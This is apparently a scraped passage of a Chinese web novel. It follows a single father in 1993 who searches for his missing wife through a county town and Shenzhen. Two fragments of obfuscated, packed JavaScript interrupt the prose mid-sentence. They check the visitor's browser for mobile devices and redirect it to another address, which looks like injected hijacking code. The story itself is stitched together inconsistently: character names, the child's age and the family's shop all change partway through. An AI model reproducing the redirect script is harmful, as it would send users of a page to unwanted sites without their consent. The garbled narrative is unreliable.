再说笑笑上次在那儿摔了一跤,膝盖磕在水泥地上,流了点血,她当时没哭,回家才抱着林凡的腿蹭,说“爸爸疼”,现在路过活动室, 她会把脸埋在林凡衣服上,不敢看,还会拉着林凡的手往回拽,小声说“不去”。 接下来的几天,林凡活像个偷摸搞技改的技术员:表面上该上班上班,该给笑笑煮面条煮面条—— 煮面条时总多放半勺猪油,怕孩子冻着,锅里的水“咕嘟咕嘟”响,他用筷子搅面条,面条粘在锅底,他刮了刮,发出“沙沙”声,猪油化在汤里, 浮起一层亮油,他尝了口汤,有点咸,又加了点热水,怕笑笑嫌咸; 面条盛在缺了口的蓝边碗里,他还会往碗里卧个鸡蛋,鸡蛋黄要流心的,笑笑爱吃; 暗地里却把人情网撒了出去,路过邻居王婶家,王婶在门口择菜,菜是冻得发蔫的白菜,她问林凡“找啥人啊”, 林凡递了根烟,烟在手里捏了捏,有点皱,王婶接过去,夹在耳朵上,说“帮你问问”,还塞给林凡一颗冻梨,说“给娃吃,解腻”。 先找了街道办的李干事。 李干事最近快被下岗职工的事逼疯了,办公室里堆的档案比林凡的图纸还高,档案袋上的字有的都晕了,风从没关严的窗户缝里灌进来,吹得档案纸“哗啦”响。 桌上的搪瓷杯里泡着的茶早凉透了,茶渍在杯壁圈了一圈又一圈,像年轮似的,杯底还沉着几片干茶叶。 林凡头天晚上在水果摊挑了两斤苹果,红通通的,苹果上有个小疤,是摘的时候碰的,装在旧网兜里,网绳细得勒手,走了半条街,手指被勒出几道红印, 还冻得发紫,苹果皮上还沾着点果园的湿土,没舍得擦——毕竟两斤苹果要三块多,够买半斤肉。 他借口问“下岗职工南下务工的政策”,绕了半天弯才提“穿米色风衣的女人”。李干事接过苹果,咬了一大口,苹果汁顺着指缝滴在档案纸上,晕开一小片黄印,他含糊着摆手: “你这问的跟大海捞针似的!光纺织厂去广东的女工就五十多个,个个都想混出个人样,穿得光鲜点也正常,哪能一个个查?” 说完又咬了口苹果,苹果核扔在桌角的铁皮簸箕里,簸箕里还有几个烟蒂,都捏扁了。林凡看着他,没再多说,心里知道这事得靠自己。 第六十八章:晚晴讯息 林凡没辙, 又找了百货大楼的赵经理。 赵经理跟长途汽车站的调度老王是酒友,每次喝酒都要骂两句“生意不好做”,酒杯“嗙嗙”往桌上砸,酒洒在桌子上,他用袖子擦了擦,继续喝。托他问了问,老王回话说: “去广东的车一周就两班,周三和周六,车上人挤得跟沙丁鱼罐头似的,汗味混着方便面味,还有人带的腌菜味,能把人熏晕。 最近是有个戴墨镜的女人总坐周三那班,可她总靠窗户,窗户上凝着哈气,她手指总在玻璃上划圈,画的啥也看不清,有时候还会对着哈气哈两口,再继续划。 我就记得她风衣是米色的,风衣领口沾了点灰,其他的没注意—— 总不能让我扒着窗户问人叫啥吧?万一人家以为我是坏人呢!”林凡听着,心里倒有了点谱:周三的车,至少有了个时间。 林凡倒不气馁。 毕竟搞技改的时候,他跟一个生锈的轴承死磕了半个月:用砂纸磨,磨得手指都起了泡,泡破了,沾了柴油,疼得他吸冷气; 用柴油泡,泡得满手油味洗不掉,连吃饭都带着股柴油味;最后硬是让轴承转了起来,转得比新的还顺,当时厂长还拍了他的肩,说“林凡,好样的”。 现在找个人,顶多算“复杂点的装配活”,只要慢慢来,总能找到。就是偶尔会自嘲:以前在厂里算个技术骨干,戴着手套拧螺丝都比别人快,手上的老茧磨得发亮; 现在倒好,天天跟老头老太太打听消息,见了人就先递根烟,烟在手里捏得皱巴巴的,腰弯一点,活像个“居委会编外侦探”; 有时候带笑笑散步,故意在路口徘徊,手里攥着个皱巴巴的小本子,记着打听来的消息——本子上的字歪歪扭扭,有的还被汗水洇花了,是他手心出汗蹭的。 笑笑拉着他的手,小手暖乎乎的,攥得他指节发紧,还仰着小脸问:“爸爸,你是不是找不到回家的路了?” 弄得他哭笑不得,蹲下来时,膝盖“咔嗒”响了一声,是最近总跑东跑西,有点累,他把笑笑的围巾往上拉了拉,遮住她冻红的小下巴,声音有点哑: “爸爸在看有没有卖糖人的——上次你说想吃的那种,转着圈的,上面还能画小老虎。” 笑笑听了,眼睛亮了亮,拉着他的手往前拽,说“找糖人”,看着女儿的样子,林凡心里的沉郁散了点,觉得这冷天也没那么难熬。 转机来得比厂里突然发奖金还意外—— 在县城唯一的“光明照相馆”。 那天是笑笑三岁生日,林凡特意请了半天假,带她去拍纪念照。照相馆在百货大楼旁边,门脸不大,玻璃上贴着张红纸,写着“生日照五元一套,送底片”,红纸边角卷了边, 颜色也褪得发淡,被风吹得轻轻晃,红纸旁边贴了张旧海报,是去年的挂历撕下来的,上面的女明星穿着红裙子,边角卷了,被风吹得“哗啦”响。 门口的台阶上有层薄雪,踩上去“咯吱”响,雪缝里还夹着点煤渣,是从旁边煤炉飘过来的。 刘师傅快六十了,头发梳得一丝不苟,还抹了点蛤蜊油,有点腥味,亮堂堂的;以前给县领导拍过标准照,现在生意淡了,靠拍点生日照、证件照糊口。 他手里的相机是八十年代的海鸥牌,黑色的机身掉了块漆,露出里面的银灰色金属,机身上有刘师傅刻的小记号,是个“刘”字,刻得歪歪扭扭,他说这样别人借走了不会混; 镜头却擦得锃亮,放在木桌上——桌角有个磕痕,是去年县中学的学生来拍证件照时,不小心碰掉的,刘师傅心疼了好几天,总用布擦了又擦,现在还能看见淡淡的印子。 刘师傅一边逗笑笑,一边跟林凡闲聊,屋里飘着药水的怪味,像医院的消毒水,有点冲鼻,但混着点橘子糖的甜,甜里带点酸,是县食品厂的老味道, 林凡小时候也吃过,现在闻到,想起自己小时候趴在照相馆柜台前看照片的样子。 笑笑一开始不配合,扭着身子要下来,小短腿蹬着椅子,椅子腿在地上磨出“吱呀”声,嘴里喊“不要拍照,怕”。 刘师傅从抽屉里摸出块水果硬糖——是县食品厂产的橘子糖,糖纸是透明的,裹着橘色的糖块,捏在手里硬邦邦的,一毛钱三颗,糖纸有点皱,是他放在抽屉里久了—— 他把糖递过去,手指有点抖,怕糖掉了,声音放软:“乖娃,吃完糖咱拍照,拍了照能看见自己的模样嘞——你看,像看小镜子似的,还能看见你嘴里的糖呢。” 笑笑这才坐好,小嘴含着糖,腮帮子鼓起来,像塞了颗小橘子,糖在嘴里化了点,甜水顺着嘴角流下来,她用手背擦了擦,手背沾了点糖渍,亮晶晶的。 就在林凡帮笑笑整理衣领时,指尖蹭到她后颈的软肉,暖乎乎的,带着孩子特有的奶香味,还混着点洗发水的淡香—— 是最便宜的海鸥牌,心里忽然一软,眼眶有点热: 这就是他的念想,是他在冷夜里攥着的那点暖,是他不管多累都要扛下去的理由。 他想起苏晚晴以前哄笑笑睡觉,也是这样摸她的后颈,手指轻轻拍着,哼着不成调的歌,当时屋里的台灯是橘色的,照在苏晚晴的脸上, 软乎乎的,现在那台灯早就坏了,扔在杂物堆里,蒙了层灰。 刘师傅忽然开口,手里的快门线还攥着,线有点旧,胶皮掉了点,露出里面的铁丝,声音压得低低的,怕吓着笑笑,还往笑笑那边看了眼,见她还在含着糖,才继续说: “前阵子有个穿米色风衣的女人,来这儿洗过照片,好像是个小孩的……我记得她风衣领口沾了点灰,洗照片时总盯着照片看,手指还轻轻蹭了蹭,好像怕蹭坏了,蹭的时候还叹口气, 声音小得像蚊子叫;付完钱走的时候,还回头看了眼柜台,跟丢了魂似的,脚步都有点飘——我当时还想,这女人咋这么恍惚,是不是有啥心事。 对了,她付的钱是张皱巴巴的十块,我找她钱的时候,她手有点凉,碰了下我的手,像摸了块冰,我还多嘴问了句‘要不要装个信封’,她摇摇头,拿着照片就走了。” “林老板,你家笑笑这丫头,才半年没见,眉眼间的稚气褪了大半,彻底长开了!” 张师傅的声音刚落,柜台后就传来“咔嗒咔嗒”的声响—— 4岁的笑笑正蹲在木凳上,攥着只铁皮青蛙来回拧发条,绿漆掉了大半的青蛙蹦到林凡脚边时,她仰起脸笑,双眼皮裹着的大眼珠亮得像浸了水的黑葡萄,眼尾还沾着点刚才吃橘子糖蹭的糖渣。 “跟她妈年轻时简直是一个模子刻的,比电视里演《渴望》的刘慧芳还水灵!” 张师傅这话没掺假,去年镇西头王婶家买了台14寸黄河牌彩电,一到傍晚全院人都挤过去看《渴望》,当时他就跟林凡说过,苏晚晴笑起来那股柔劲儿,比刘慧芳还让人记挂。 张师傅手里捏着块磨得发亮的麂皮布,布边起了圈白绒,上面还沾着淡淡的相机油味——这是他1987年在县国营五金厂当维修工,评上“先进”得的奖。 他正擦着台海鸥DF单反,这机子是1979年产的,1993年在镇上还算稀罕物:机身蒙皮磨出了浅白的毛边,像老棉袄脱了绒; 边角的黑漆剥落得露出银灰色金属底,阳光一照能看见细密的划痕;镜头圈上三道细小的划痕是去年修相机时不小心划的,他至今还念叨“可惜了”。 他擦得慢,指腹反复蹭着镜头圈,目光却飘向柜台后,话里满是熟人间的热络。 林凡正低头给柯达Gold200胶卷缠防潮纸,这胶卷是上周托跑货运的老李从市里批的,一卷八块五,比供销社便宜五毛钱。 防潮纸是裁好的《人民日报》边角,上面还印着1993年3月的新闻标题:“南方打工潮持续升温”。指尖触到冰凉的胶卷盒,听见张师傅的话时手顿了顿,随即长长叹出一口气—— 那叹气裹着层化不开的无奈,连声音都沉了几分,像老相机快门没上油的卡顿声。 “张师傅您不提还好,一提我这心就往下坠。孩子妈苏晚晴走了快三年了,当初说去南方找她表姐,头个月还寄过两封歪歪扭扭的信。” 他伸手从柜台抽屉里摸出个铁盒,倒出两封折得整齐的信,信纸是最便宜的糙纸,字迹歪歪扭扭: “晚晴说深圳的荔枝五块钱一斤,想给笑笑带,还说工厂管饭,一个月能挣两百二。” 后来却连张邮票印儿都没再见着,“没电话,没地址,想找都没处寻。笑笑夜里常做梦哭,攥着我的手喊‘妈妈带糖回来’—— 就是供销社卖的那种橘子硬糖,透明纸印小橘子的。”林凡声音低了些,“我只能哄她,说妈妈在挣大钱,等攒够了就买会眨眼的洋娃娃,去年广州刚有的款,要三十五块呢。” 张师傅擦相机的手“咔嗒”一声停了,那台1993年还算稀罕的单反悬在半空,镜头对着地面,镜片反射出天花板上晃悠的吊扇。 他抬眼瞅林凡,眼神里的同情跟暗房里的显影液似的,浓得化不开:“你也是个苦命人,又当爹又当妈,守着这小照相馆不容易。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654169|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他顿了顿,手指无意识地抠着相机蒙皮的毛边,“不过话说回来,大概个把月前,有个女的来我那儿冲照片,穿得那叫一个扎眼—— 上身是件掐腰红蝙蝠衫,领口缀着亮晶晶的塑料珠,一走路就晃;下身喇叭裤裤脚宽得能扫着地,裤腿还印着白花纹;烫的**头蓬松得像颗钢丝球,比港台录像里梅艳芳的发型还炸。” 他比划着,“涂的口红艳得能扎眼,跟供销社卖的红墨水似的,但更亮,咱这镇上除了供销社卖雪花膏的李姐,谁敢这么穿? 我当时就纳闷,凑过去一看,她那眉眼跟你家笑笑简直是一个模子刻的,尤其是笑起来眼角那道浅浅的细纹,跟苏晚晴当年眯着眼笑时一模一样,我心里当时就咯噔一下,跟相机摔地上似的。” 林凡手里的胶卷“哗啦”掉在柜台上,滚出两道浅痕,停在笑笑的铁皮青蛙旁边。他的心脏猛地一缩,跟被相机快门“咔嗒”狠按了下似的,突突跳得能撞着肋骨—— 去年修相机时,他不小心被快门弹簧弹到过,就是这种闷疼。他赶紧弯腰捡胶卷,手指捏着胶卷边缘故意放慢动作,指节都绷得发白,指甲盖还沾着点刚才缠防潮纸蹭的油墨, 却装作漫不经心的样子:“哦?还有这事?会不会是孩子妈那边的亲戚?比如她那个远房表姐,听说早年去深圳打工了,说不定是回来探亲。” 张师傅皱着眉回忆,指腹无意识地蹭过相机镜头上的霉点—— 那是上个月梅雨季没放好长的,他用酒精擦了好几次都没擦干净。眉头皱得能夹死蚊子:“个子得有一米六五,比苏晚晴高小半头,苏晚晴当年顶多一米六。 说话声音软乎乎的,像含着块糖,不像咱这镇上的大嗓门,比如王婶子,一开口能震着墙。”他顿了顿,眼神飘向窗外的老槐树,“她就冲了三张照片,全是街景—— 一张是镇东头的老石桥,石桥栏上还刻着‘光绪二十三年造’,桥洞下飘着几片枯荷叶,有片还粘在石头上;一张是幼儿园门口的梧桐树,树底下摆着俩石墩子,左边那个裂了道缝; 还有一张,是你这照相馆的门头,连‘林凡照相馆’那几个褪色的红漆字都拍得清清楚楚,连你贴在窗户上的‘胶卷八折’纸条都照着了。” 张师傅咂咂嘴, “我当时还问她,怎么不冲人物照?她就抿着嘴笑了笑,嘴角翘得淡淡的,没搭话。 对了,她还问我,附近有没有好点的幼儿园,说想给孩子找个近的。 我当时就奇怪,她看着都快三十了,要是有孩子上幼儿园,怎么不带着?再说咱这一片就俩幼儿园,一个是镇政府家属院的,老师是李老师,特别严,只收干部家孩子; 一个是棉纺厂的,有个蓝色滑梯,笑笑每次路过都盯着看,得有职工家属证,外人想进还得托关系,送条烟都不一定管用,她问这个干啥?” 幼儿园!这三个字跟1993年春晚的《涛声依旧》似的,毛宁的调子一在脑子里冒出来,之前那些零碎的线索瞬间就串成了线—— 上礼拜天带笑笑去镇西头的动物园看猴子,那动物园就一间铁笼,里面三只猴子,有只断了尾巴,笑笑喂了它半块饼干。 当时总觉得身后有个穿红蝙蝠衫的影子跟着,脚步轻得像飘着,踩在落叶上都没声,当时只当是哪个邻居也带孩子,没往心里去; 前几天去居委会交水电费,活动室窗户外晃过个人影,头发蓬得扎眼,当时还烦得骂了句“谁没事扒着窗户看老太太打麻将”,现在想起来,那人的肩膀线条跟张师傅说的女人有点像; 再加上照相馆的门头照,合着这人不是来探亲的,是在摸清笑笑的行踪!她到底想干什么?是想把笑笑带走,还是有别的心思?会不会是苏晚晴在南方欠了债,有人来寻仇? 林凡越想越心慌,那些线索跟显影纸上的图像似的,在脑子里慢慢清晰起来—— 从模糊的影子到具体的红蝙蝠衫,指向的可能性让他后背直冒冷汗,连手心都沾了层潮汗,攥着胶卷盒都觉得滑。 他转身进了里屋,里屋摆着张旧木床,床头堆着笑笑的衣服,有件浅粉色毛衣是他去年织的,苏晚晴留下的毛线不够,袖口接了段白色的。 他蹲在床底下翻找,拖出个锈迹斑斑的铁皮盒子—— 盒身被灰尘裹着,锁扣早没了,一掀就“吱呀”响,跟老门轴似的。 盒子里装着当年的老照片: 结婚照是1989年拍的,当时镇上就“艳芳照相馆”能拍彩色照,五块钱一套,送两张小的。 第六十九章:深圳寻妻 照片里苏晚晴穿的红裙子是的确良面料,上面印着小黄花,现在早褪成了淡粉,边角卷得跟晒蔫的波浪菊似的; 她挽着他的胳膊,左手腕上还戴着块上海牌手表,是他攒了三个月工资买的。 满月照里,笑笑裹着苏晚晴织的宝蓝毛衣,袖口还有个没拆掉的小毛线球,小拳头攥着她的衣角; 苏晚晴低头抱着她,笑得露出俩尖尖的小虎牙,阳光从照相馆的小窗透进来,在她发梢镀了层金,连细绒毛都看得见。 照片背后还用圆珠笔写着“1990年10月25日,笑笑满月”,字迹是苏晚晴的,比后来寄信的字工整多了。 看着照片上那个曾经熟悉、如今却陌生的面容,林凡心里跟打翻了洗照片的药水瓶似的——显影液的酸涩、定影液的微苦,混着回忆翻上来,酸得他鼻子发紧,涩得舌头都木了。 怨恨吗? 肯定有——当年她走的时候连句正经话都没留,只在枕头底下压了张纸条: “我去南方挣钱,等我回来”,让他一个人扛着带娃的苦。 去年冬天,他晚上给笑笑洗尿布,井水冰得手疼,洗完还要织毛衣,手冻得裂口子,渗出血珠,只能涂蛤蜊油,那油咸咸的,涂了还是疼,他都没敢跟人说句苦。 镇上王婶子还背后嚼舌根:“林凡一个大男人带娃,孩子都快养歪了,连辫子都扎不好。”他当时听见了,也只能装作没听见,转身给笑笑扎了个歪歪扭扭的羊角辫。 但更多的是无奈,1993年的小镇,男人带娃本就遭人议论,他白天守着照相馆修相机、冲照片,有时候忙到中午都顾不上吃饭,只能啃块干馒头; 晚上还要给笑笑讲故事,她每次都要听《小红帽》,听到“大灰狼**死”才肯睡。 现在又冒出这么个神秘女人,他要是不弄清楚,笑笑的童年怕是要一直被“妈妈去哪儿了”这个问题缠着,每次看见别的小朋友拉着妈妈的手买冰棍,她都要躲在他身后,小手指抠着他的衣角,不说话。 他不能再等了。 不管那个女人是不是苏晚晴,不管她是想抢孩子还是单纯想看看,他都得当面问清楚—— 总不能让笑笑每次路过棉纺厂幼儿园,都盯着那个蓝色滑梯发呆,小肩膀一抽一抽的,问他“妈妈什么时候能带我去滑滑梯”。 晚上,林凡给笑笑洗完脚,她的小脚丫还沾着点香皂沫,是供销社卖的“蜂花”香皂,一块五毛钱。 他把她抱到小床上,给她盖好那床印着米老鼠的小被子——这图案去年才从广州传过来,他托跑货运的老李带了半个月才拿到,三十五块钱,当时心疼了好几天。 笑笑宝贝得不行,睡觉都要攥着被角,米老鼠的耳朵都快被她攥得起球了。等听见里屋传来均匀的呼吸声,像小风吹过树叶,他才走到外屋。 外屋的灯泡是15瓦的,昏黄的光照着修相机的桌子,上面摆着螺丝刀、镊子,还有半瓶酒精。 王猛正趴在桌上修一台老上海牌照相机,他跟着林凡三年了,从18岁到21岁,当初还是个连胶卷都装不好的毛头小子,现在连海鸥DF的快门弹簧坏了都能修—— 用细铁丝弯个小勾代替,比原装的还耐用。林凡走到他身边,郑重其事地说: “猛子,我可能要出趟远门,时间不定,短则三五天,长则说不定得去趟南方。 你跟我三年了,店里的胶卷进货价、相机修理的门道你都门清——柯达Gold200进八块五,卖十二块; 修快门弹簧得用0.5毫米的细铁丝。”他顿了顿,声音软了些,“笑笑早上要喝俩煮鸡蛋,不能放糖,放了就吐—— 去年有次放了点糖,她吐了一地,还哭了半天;晚上睡觉要听《黑猫警长》的磁带,磁带封面磨掉了,只剩‘黑猫’俩字, 你别给她放成《葫芦娃》,她不爱听那个,一听就闹。店里和笑笑,就彻底交给你了。” 王猛手里的螺丝刀顿了顿,抬头看了看林凡,又瞅了瞅里屋笑笑的小床,床帘上还挂着个布娃娃,是林凡用碎布缝的。 他咧嘴笑出两排白牙,手里的螺丝刀还转了个圈,在灯光下闪了下:“放心吧林哥!我保证把笑笑喂得跟小猪似的,圆滚滚的,每天给她扎辫子,肯定比你扎得好!” 他拍了拍胸脯,“店里的生意也耽误不了,张师傅他们来冲照片,我都能应付——显影液兑多少水,定影要几分钟,我都记着呢。 就是你要是真找着苏姐,可别跟她吵架——女人心海底针,尤其是穿喇叭裤的女人,心思更细,好好跟她唠唠,说不定事儿就顺了。” 他顿了顿,从口袋里摸出十块钱,“这是我这个月的零花钱,你带着路上买水喝,别省着。” 1993年的冬夜,巷口“林凡杂货店”的灯泡在寒风中摇曳,昏黄的光晕里浮动着细小的雪粒。 这爿由林凡和王猛用全部积蓄盘下的小店,货架上整齐码放着从粮站批来的东北大米、散装酱油和华丰方便面,墙角的油桶贴着1992年南巡后新换的营业执照—— 那年全国新登记注册的私营企业激增28.8万户,他们正是其中的缩影。 半导体里毛宁的《涛声依旧》循环播放,“月落乌啼总是千年的风霜”的旋律混着煤炉的青烟,在寂静的街巷里弥漫出难以言说的怅惘。 林凡的指尖反复摩挲着裤袋里的匿名信,三天前从深圳宝安寄来的信封上,邮戳日期是1993年12月15日。 信笺上“晚晴在深,速来”的字迹歪歪扭扭,像是用左手写的,末尾还沾着几滴深色污渍,凑近了能闻到若有若无的煤油味。 他想起上周在镇口遇见的深圳包工头,那人叼着红梅香烟说:“宝安石岩的电子厂女工多,但治安乱得很,上个月还听说有四川妹子被混混骗进荔枝园......” 话音未落,王猛擦着酱油瓶的抹布“啪嗒”掉在玻璃柜台上,打断了他的思绪。 “凡子,你这几天魂不守舍的,到底出啥事了?” 王猛的声音带着焦虑,柜台下的木棍还留着去年击退收保护费团伙时的裂痕。 林凡深吸一口气,指节上的老茧蹭过粗糙的信纸: “是笑笑的事。我必须去深圳一趟。” 他压低声音,将匿名信的事简略说了,末了补充道:“文某祥团伙去年在松岗被抓,你记得吧?要是遇到麻烦,第一时间找张婶,她在居委会能说上话。” 王猛闻言攥紧了拳头,柜台下的木棍被他握得吱呀作响——1993年深圳宝安区的**中,**勒索案占比高达18%,文某祥团伙仅是冰山一角。 里屋的旧木床上,林凡小心翼翼地将800元现金分成三份:300元藏在军大衣内衬的暗袋,200元缝进帆布包的夹层,剩下的300元用红布包好塞进笑笑的布娃娃肚子。 这是他攒了大半年的积蓄,相当于普通工人近三个月的收入。 1993年全国职工年均工资3371元,但深圳特区的物价早已水涨船高——石岩镇的床位月租要50元,一碗汤粉也要2.5元,这些都是他托深圳表姐打听到的。 行李袋是苏晚晴1988年嫁过来时的陪嫁,褪色的梅花刺绣旁,还留着她用红线绣的“平安”二字。林凡将笑笑塞给他的布娃娃轻轻放进袋底,纽扣眼睛在烛光下泛着温润的光。 女儿睡前的话犹在耳畔: “爸爸带着它,就像我陪着你一样。” 他又往包里塞进五包华丰方便面和六个煮鸡蛋——1993年的绿皮火车从成都到深圳要行驶48小时,车厢里挤满了南下的务工者,连座椅底下都躺着人,方便面是最抢手的干粮。 出发前夜,林凡抱着笑笑坐在炕沿,《365夜故事》的书页间飘落一片干枯的茉莉花瓣。那是1990年苏晚晴在深圳寄回来的,信里说“宝安的工厂旁种满了茉莉花,香味能飘出二里地”。 此刻他轻声讲着《神笔马良》,讲到马良画大船渡海时,女儿突然睁开眼睛: “爸爸,妈妈是不是在海那边?” 林凡喉咙发紧,只能将女儿搂得更紧,闻着她发间淡淡的米香——这是杂货店特有的味道,也是他在无数个失眠夜里唯一的慰藉。 凌晨四点的火车站笼罩在浓雾中,林凡攥着那张硬座车票,票面上“成都—深圳西”的字迹被汗水洇得有些模糊。 站台广播里传出刺耳的电流声: “由成都开往深圳的128次列车开始检票......”他随着拥挤的人流登上车厢,立刻被汗味、烟味和劣质香水味淹没。 过道里堆满了蛇皮袋和铺盖卷,有人甚至将扁担横在座位间占地方。林凡好不容易在两节车厢连接处找到立足之地,隔壁的四川妹子正用铝饭盒泡方便面,蒸汽混着窗外的寒气扑面而来。 “大哥也是去石岩电子厂的?” 女孩主动搭话,“我表姐在创维做质检员,说现在招工只要初中毕业证。不过你得小心‘六魔女’,她们专门在机场附近色诱司机......” 林凡心头一凛,想起前几天报纸上登的深圳出租车司机连环失踪案,17名受害者中最小的才22岁。 他下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654170|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识摸了摸藏钱的暗袋,透过车窗望向漆黑的原野,远处偶尔闪过的灯火,像极了苏晚晴寄来的照片里深圳街头的霓虹。 经过48小时的颠簸,火车终于在深圳西站缓缓停下。 林凡踩着满是痰渍的地板下车,扑面而来的湿空气里混杂着工地的扬尘和海鲜市场的腥味。 站前广场上,举着“石岩工业区招工”牌子的中介与拉客的摩的司机吵成一团,几个穿制服的治安员在人群中穿梭,手电筒的光束不时扫过务工者惶恐的脸。 林凡摸了摸口袋里的介绍信——这是居委会张婶托人开的,上面盖着鲜红的公章,在异乡的土地上比黄金还珍贵。 按照匿名信的模糊线索,林凡辗转来到宝安区石岩镇。1993年的石岩正经历着前所未有的蜕变: 创维、长城等电子厂的厂房如雨后春笋般拔地而起,华为也在两年前入驻蚝业工业大厦,开启了早期创业之路。但繁荣背后,是外来人口激增带来的混乱—— 仅石岩一镇,就**了20万务工者,暂住证办理点前排着长达百米的队伍,逾期未办者随时可能被收容遣返。 林凡在镇口的小旅馆住下,五块钱一晚的大通铺挤满了来自全国各地的打工仔。半夜,隔壁床的男人突然惊叫着坐起,说梦见被治安员追着跑。 林凡辗转难眠,借着月光翻开苏晚晴的最后一封家书: “宝安的工厂像个大蒸笼,可我每个月能寄回200块,再攒半年就能接笑笑来深圳读书了......” 字迹到这里突然中断,像是被泪水洇开的痕迹。 天刚蒙蒙亮,林凡就来到石岩街道办。 门口的布告栏上,“严厉打击刑事犯罪”的标语旁贴着最新通缉令,文某祥团伙的照片赫然在列。 接待他的李干事翻看着介绍信,眉头微皱: “苏晚晴这个名字有点耳熟,上个月有个女工在创维门口被飞车党抢了包,好像也姓苏。你去工业区管理处查查吧,他们有最新的外来人口登记。” 工业区管理处的档案室里,管理员翻着厚厚的登记簿,突然停住: “苏晚晴,1992年4月入职石岩镇创维电子厂,职位是插件工。不过她1993年7月就离职了,登记的新地址是沙井镇万丰村。” 林凡心头一震,沙井镇正是六魔女案的高发区。他来不及道谢,直奔镇口的摩的**地,用仅剩的50元讲定了去沙井的价钱。 摩托车在尘土飞扬的土路上颠簸,两旁是正在建设的厂房和临时搭建的工棚。1993年的沙井,“三来一补”企业如潮水般涌来,香港老板的奔驰车与本地村民的三轮车在狭窄的街道上争道。 林凡在万丰村的出租屋区辗转打听,终于在一家小诊所外得到线索: “苏晚晴啊,她去年在伟创力电子厂做过,后来好像跟一个湖南的包工头走了,听说去了盐田港工地......” 盐田港的建设现场机器轰鸣,巨大的吊臂在晨雾中若隐若现。 林凡沿着泥泞的工地小路寻找,工人们告诉他,湖南包工头的队伍三天前刚转去了南山热电厂。他顾不上疲惫,又搭了辆顺路的水泥罐车,在暮色降临时赶到南山。 热电厂的临时工棚区弥漫着刺鼻的煤烟味,林凡挨个询问,终于在第七排工棚前停下脚步——晾衣绳上, 一件褪色的红格子衬衫在风中轻轻摇曳,好像和1991年他陪苏晚晴在成都春熙路买的一样。 “晚晴!” 林凡冲进工棚,却只看到一张空荡荡的铁床。 隔壁的女工怯生生地说: “她上个月跟一个香港老板走了,说是去了蛇口工业区。不过......” 女工欲言又止,“前几天听宝安医院的护士说,有个女的被送来急救,好像是在荔枝园被......”林凡感觉血液瞬间凝固,拔腿就往医院跑。 宝安医院的走廊里充斥着消毒水和血腥味,林凡在护士站查到12月15日的急诊记录: “无名氏,女性,25岁左右,头部遭钝器击打,送院时已昏迷。 现住外科302病房。”他跌跌撞撞冲进病房,病床上的女人面容浮肿,头发被剃光,额头上缠着渗血的纱布。 但那枚银耳钉,好像是1989年他们结婚时买的对戒中的一只——林凡终于忍不住,跪在床边痛哭起来。 监护仪的滴答声中,那个女的缓缓睁开眼睛。她的眼神先是迷茫,继而泛起泪光:“你是谁,你找我......有事吗?”林凡一愣。原来不是自己的妻子苏晚晴。只是同名而已。。。。 第七十章:神秘来客 南方的湿热与喧嚣仿佛还黏在鞋底—— 那潮气不是北方秋凉的干爽,是1993年深圳特有的、能钻进衣领缝的黏腻,走在柏油路上都像踩在浸了水的海绵上,裤脚半天干不了。 混杂在潮气里的,除了蛇口工业区流水线女工蓝布工装沾着的机油味,还有电烙铁“滋滋”焊电子元件时飘出的焦香: 女工们戴着露指手套,指尖飞快捏着电阻往电路板上按,焊锡熔化成银亮色小珠,滴在绿色基板上时会溅起细小白烟,冷却后就成了牢牢粘住元件的焊点,有的女工指甲缝里还嵌着洗不掉的焊锡渣。 华强北的电子摊位更热闹,铁皮棚搭的摊位挤得人转不开身,摊主用镊子夹着电阻比对型号时,脚下堆着成箱的旧收音机零件, 有的零件还沾着上世纪八十年代的铁锈,焊锡味混着老电路板的霉味扑面而来,呛得人忍不住咳嗽。 城中村出租屋楼下的铁皮摊最是勾人,摊主是个安徽来的中年男人,总穿着洗得发白的军绿色褂子,往烧得发红的铁锅倒菜籽油时,“刺啦”声能传半条巷, 葱花扔进去瞬间就炸出香味,酱油顺着锅边淋下去,裹着细米粉翻涌,最后撒一把翠绿的蒜苗,连路过的打工者都要停下脚步,摸出两块钱买一碗,蹲在路边用一次性筷子扒拉着吃。 林凡带着一身疲惫和未解的谜团,踏回了略显灰扑扑的鲁南县城。 从深圳坐绿皮火车到济南,再转长途汽车回县城,整整三十六个小时,他怀里揣着的苏晚晴旧照片,被体温焐得发潮,边角的卷边更明显了。 彼时的深圳正处在“三天一层楼”的建设热潮中,国贸大厦刚建成没几年,还是全国的“速度标杆”。 近两百万外来人口里,八成是十八到三十岁的青壮年,他们背着蛇皮袋从火车站出来,像潮水般涌入这座连路灯都没铺满的年轻城市—— 关外的土路晚上还得靠手电筒照路,有的工地为了赶工期,通宵都亮着灯,打地撞机器的“咚咚”声能传到几公里外。 仅登记在册的老乡会就有上百个,福建籍、湖南籍的同乡组织挤在握手楼的出租屋里,屋子小得转个身都碰胳膊肘,却摆着凑钱买的14寸黑白电视,屏幕上总飘着雪花。 信息传递全靠口口相传,连“哪家电子厂招女工、月薪能多给五十块”的消息,都能让十几个人围着电视聊半宿,有人还会掏出小本子记下来,第二天一早就去厂门口排队。 林凡拿着苏晚晴三年前的旧照片跑遍了福田、罗湖的六个工业区—— 照片上的苏晚晴扎着马尾,穿件浅蓝色的确良衬衫,站在深圳火车站的“深圳”二字招牌下,笑容亮得像晴天。 如今照片边角被汗水浸得发卷,背后用圆珠笔写着“1990年于深圳”,字迹已经模糊,有的笔画都晕开了。 